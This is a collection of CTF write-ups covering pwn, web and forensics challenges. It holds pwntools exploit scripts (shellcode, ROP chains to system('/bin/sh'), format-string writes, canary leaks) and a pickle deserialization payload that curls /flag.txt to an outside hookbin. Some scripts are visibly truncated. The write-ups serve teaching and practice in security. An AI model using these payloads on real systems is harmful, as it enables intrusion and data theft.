Description: You haven’t been naughty, have you?

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments


  • The binary has no mitigation, so we can do a stack bof and write our shellcode somewhere on the stack
  • fgets() reads in 0x47 bytes from the user, the two bytes from the base pointer has to be 0xe4ff, which is the opcode for jmp esp (hint that a pivot is needed)
  • Since we are limited on stack space, we could overwrite the return address with a jmp rsp to pivot to the beginning of our buffer to execute system(‘/bin/sh’) shellcode


from pwn import *

def build_shellcode():
    shellcode = asm('push rax')
    shellcode += asm('xor rdx, rdx')
    shellcode += asm('xor rsi, rsi')
    shellcode += asm('movabs rbx, 0x68732f2f6e69622f')
    shellcode += asm('push rbx')
    shellcode += asm('push rsp')
    shellcode += asm('pop rdi')
    shellcode += asm('mov al, 0x3b')
    shellcode += asm('syscall')

    return shellcode

def send_payload(shellcode, io):
    payload = shellcode
    payload += b'\x00'*7 # pad 
    payload += b'A'*(39-(len(shellcode))) # junk
    payload += p64(0xe4ff) # JMP ESP opcode for cmp
    payload += b'\x00'*2 # pad
    payload += p64(0x40067f) # jump rsp
    payload += asm('sub rsp, 0x40; jmp rsp') # pivot stack to beginning of buffer to run shellcode

    io.sendlineafter('XMAS', payload)

def main():
    isLocal = False
    isDebug = False

    if isLocal:
        io = process('./chall')
        io = remote('challs.xmas.htsp.ro', 2000)
    if isDebug:
        gdb.attach(io, '''
            b *0x4006b1
            b *0x4006d5

    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-v']
    context.arch = 'amd64'

    shellcode = build_shellcode()
    send_payload(shellcode, io)

if __name__=='__main__':


Ready for Xmas?

Description: Are you ready for aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/bin/shawhkj\xffwaa ?

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)


  • memset(0x601068, 0, 9) gives us 9 bytes to write to in the bss
  • gets() -> buffer overflow
  • NX is enabled so can’t execute on stack
  • No PIE, can use ropchain to write ‘/bin/sh’ to bss and pass bss address into system
  • mprotect is used here to check input for presence of ‘sh’ and ‘cat’.

The approach I took was to build a ropchain to use gets() to write ‘/bin/sh’ to the bss and then pass that address to system. The only gadget needed for this was a pop rdi ; ret


from pwn import *

POP_RDI_RET = p64(0x00000000004008e3)
RET = p64(0x00000000004005e6)

def create_payload(junk):

    payload = b''
    payload += junk
    payload += POP_RDI_RET
    payload += p64(0x601068) #  bss addr
    payload += p64(0x400630) # gets
    payload += RET
    payload += POP_RDI_RET
    payload += p64(0x601068) # bss addr
    payload += RET
    payload += RET
    payload += RET
    payload += p64(0x400610) # system

    return payload

def send_payload(io, payload):
    io.sendlineafter('Christmas?', payload)

def main():

    isRemote = False
    if isRemote:
        io = remote('challs.xmas.htsp.ro', 2001)
        io = process(['./chall'])

    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    context.binary = './chall'

    isDebug = False
    if isDebug:
        gdb.attach(io, '''
            b *0x400852
            b *0x400875

    junk = b'A'*72
    payload = create_payload(junk)

    send_payload(io, payload)

    # write to bss


if __name__ == "__main__":

# X-MAS{l00ks_lik3_y0u_4re_r3ady}

Big Brain Time


  • We know address of qi_de_base
    • 0x8202010
  • There is format string vuln
    • printf(user->display, user->name, user->sex);
  • user data is written in heap
  • no aslr and no pie
  • Have heap overflow on user->name
    typedef struct moron
        int qi;
        char sex;
        char name[STR_LEN];

This is the user->qi person *user = new_p();


  1. Use heap overflow on user->name to write into user->display
    • user->display is where the fmt string bug is located
  2. Find address of *user with format string
    • target is person *user = new_p(), goal is to override user->qi which is the first index of the struct.
  3. Send payload to write to address of user->qi (from step 3)
    after filling user->name buffer Final payload: Junk (to fill user->name) + payload to write to user->display + format string to write to user->qi with length of payload written to user->display

Heap Overflow

typedef struct moron
    int qi;
    char sex;
    char name[64];
Person *user = new Moron;

// Heap overflow to override display
scanf("%s", user->name)

Format String

user_display = 'A' * val_length_for_qi + "offset_to_qi%n";


// To make user->qi > 128
if (user->qi > 128) {
} else {
	puts("Vous êtes sûrs d'être en bonne santé ?");


from pwn import *

io = process('./bigbrain')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-v']

def nom(payload, io):
    io.sendlineafter('Nom :', payload)

def sexe(payload, io):
    io.sendlineafter('Sexe [M/F] :', payload)

junk = b'A'*0x40
val_length_for_qi = b'B'*129
fmt_string_offset = b'%9$n,'

nom_payload = (
    + val_length_for_qi
    + fmt_string_offset

sexe_payload = 'M'

nom(nom_payload, io)
sexe(sexe_payload, io)


# H2G2{w0w_5uch_vu1n3r4b1lit13s}

hello %s


  • format string in 0x13a2 printf(argv[0])


  1. There is format string vulnerability on argv[0] which is filename.
  2. Challenge gives you ssh to remote machine that has challenge file with SUID to user with flag.
  3. Using format string, there was a pointer to heap where flag have been copied to on offset 10.
  4. Using %s, you can print out the string stored in the heap.


ln -s /challenge/challenge /tmp/%p,%p,%p,%p,%p,%p,%p,%p,%p,%s







  • scanf() BoF in vuln().
  • no-pie
  • Tried to find offset of /bin/sh in libc using libc leak and it seems like we are out of luck
  • Could use bss segment as code cave to write /bin/sh string
bss segment address 0x00601068
  1. Control PC using BOF
  2. Create a ROP chain to write “/bin/sh” in unused data section then jump back to vuln()
  3. Create a ROP chain to POP_RDI code cave(/bin/sh str) then jump to system() in the code


from pwn import *
from Crypto.Util.number import long_to_bytes
from dataclasses import dataclass

class ROPGAD:
    POP_RDI = p64(0x00000000004008f3)
    RET = p64(0x0000000000400596)
    POP_RSI_POP_R15 = p64(0x4008f1)
    POP_RAX_CLUB_RDI = p64(0x400819)

def send_secret_msg(secret_msg: bytes):
    io.sendlineafter('message:', secret_msg)

def send_vuln_msg(vuln_msg: bytes):
    io.sendlineafter('Message: ', vuln_msg)

def send_junk_msg(junk_msg: bytes):
    io.sendlineafter('junk: ', junk_msg)

def create_scanf_rop(target_addr: int, ret_addr: int) -> bytes:
    SCANF = p64(0x40077e)
    rop_chain = (
        + ROPGAD.POP_RSI_POP_R15
        + p64(target_addr)
        + b'A' * 8
        + ROPGAD.RET
        + SCANF
        + p64(ret_addr)

    return rop_chain

def control_pc(rop_chain: bytes):
    BUFFER_SIZE = 120
    bof = b'A'* BUFFER_SIZE

    secret = "#!@{try_hard3r}"
    send_vuln_msg(bof + rop_chain)

def write_code_cave(code_cave_addr: int, msg: str, ret_addr: int):
    code_cave_ropchain = create_scanf_rop(code_cave_addr, ret_addr)

def create_system_sh(binsh_addr):
    SYSTEM = p64(0x4005c0)
    BINSH = p64(binsh_addr)
    rop_chain = (
        + ROPGAD.POP_RDI
        + BINSH
        + ROPGAD.RET
        + SYSTEM

    return rop_chain

def main():
    VULN = 0x4006f7
    binsh_code_cave = 0x601068

    write_code_cave(binsh_code_cave, '/bin/sh', VULN)


if __name__ == '__main__':
    io = process('pwn_bazooka_bazooka')

    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']







  • BoF in vuln()
  • There is stack canary
  • no-pie
  • for loop that read twice and printf twice
  • format string on printf


  1. Use BoF to override the max_cntr that is 1 to 0xa so that you can read and printf multiple times
  2. Leak stack canary using format string vuln
  3. Use BoF to override stack canary with correct value and control pc
  4. Create ROP that jumps to getshell()


from pwn import *

is_local = False

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
if is_local:
    pty = process.PTY
    io = process('pwn_darkmagic_darkmagic', stdin=pty, stdout=pty)
    # gdb.attach(io,'''
    #         b *0x4007eb
    # ''')
    io = remote("", 30750)

def send_magic(msg_1: bytes, msg_2: bytes):

# Offset 16
def leak_stack(depth: int = 0x10):
    send_magic(b'%p,' * depth,'')
    addr_list = io.recvline().split(b',')

    for index, addr in enumerate(addr_list):
        log.info(f'offset: {index+1} @ {addr}')

io.recvuntil('Dark Magic is here!\n')

# Overwrite the max_cntr varible for forloop in vuln
send_magic(b'A'*100 + b'\x0a\x00\x00\x00', '')
canary = int(io.recvline()[:-1], 16)
# canary = int(io.recvline()[:-1], 16)
log.info(f'Canary: {hex(canary)}')

JUNK_2_CANARY = b'A' * 0xd8
CANARY = p64(canary)
JUNK_2_RET = b'A' * 0x8
GETSHELL = p64(0x40073b)
payload_1 = (
    + CANARY
    + JUNK_2_RET

send_magic(payload_1, '')


Chain Race

Web [475 pts]

Description: All files are included. Source code is the key.

When we first visit the website, we see that there is an input for URLs and that this renders the HTML content below:

After trying several PHP attack methods to try to get a foothold, using localhost:8080 provided the source code for index.php via SSRF.

It seems like we have to craft our input to be localhost:8080/index.php?user=??&secret=??

Bypassing the first if statement, we just need user to be anything other than ‘admin’

Bypassing the second, we need to use secret[]=1 because it will evaluate to null which breaks the condition

Now $login_1 and $login_2 are both 1, we need to bypass @unlink() which deletes a filename, in our case it is generated using a hash combination of date(‘ms’) and $_COOKIE[‘PHPSESSID’]. The session is created and destroyed rather quickly and this can lead to a race condition if many requests are made in synchronized time.

We could solve this by sending requests in a synchronized time to cause the race condition. I tried out nccgroup’s enhancement of python requests called requests_racer.


Using a quick script, we are able to get a flag with ~100 synchronized requests:


Web [300 pts]

Description: cache all the things (this is python3)

This challenge provides us with source code:

We see that their server is using Redis for caching and flask_caching library. Looking at the form, we see that each input is treated as a key (title) and value (content). Looking into the cache functions, I found this source to be helpful for the challenge:


It appears the default key when using cache functions in flask is “flask_cache_view/<path>” , so we can temporarily store malicious values in one of the keys that Redis is using. From the above link, it states that having a b'!' in front of a pickled object will lead to RedisCache unpickling. This can lead to RCE.

So we craft our pickle object with our exploit and append a b'!' in front of it. The description says it is in Python3 so we make sure to serialize our object in Python3.

import pickle
import os

exp = open("exploit", "wb")


class RCE(dict):
    def __reduce__(self):
        cmd = ("curl -X POST -H 'Content-Type: application/json' -d '@/flag.txt' https://hookb.in/9XgpbdRPnDS600eMoRR6")
        return os.system, (cmd,)



There are multiple ways to get the flag, I just curled the flag in POST data to my hookbin, our input will look like this:

After sending this and visiting /test24, we notice there is a delay, which means our object was deserialized. Looking at our hookbin, we see the flag came through:

Incredibly Covert Malware Procedures

Forensics [100 pts]

Description: We got hacked! Can you see what they took?

We are given a pcap file, when analyzing it, we see that it is full of ICMP information. Looking at the first packet, we see that it is the beginning of a PNG header:

The last packet also contains an IEND, which marks the end of a PNG file. So it looks like they are sending parts of a PNG for each packet. The only issue is that we have to parse and filter our data to capture the correct bytes.

Since the requests and replies are the same, using tshark to extract the unique data sections of the pcap, we can get a better picture for the png.

Our goal is to grab the correct position to get a valid picture, so using a valid png, we use this as a guide to get the correct bytes:

Grabbing the correct first line from the pcap data and iterating down to the end, we are able to form a png that gives us a flag:

Perhaps I could’ve parsed it better..but it is still readable.

Note Surfer

Web [250 pts]

Description: Check out our new sticky note website!

We are given two endpoints for this challenge. I found an unintended solution for this challenge so I will be discussing how happened..

http://one.jh2i.com:50020 – Where we create an account
http://one.jh2i.com:50039 – Where we can link our account from :50020 via OAuth and create notes / report to admin.

After creating an account on :50020 and linking it with :50039, we are able to create notes and report to admin.

First, the reporting feature is common for XSS and CSRF, so I wanted to see if I could steal some information from the admin. So using this payload:

We were able to send it to the admin and have them visit our site.

I originally wanted to read their HTML just to see what it looked like, but base64 decoding our response twice reveals the admin dashboard + the flag: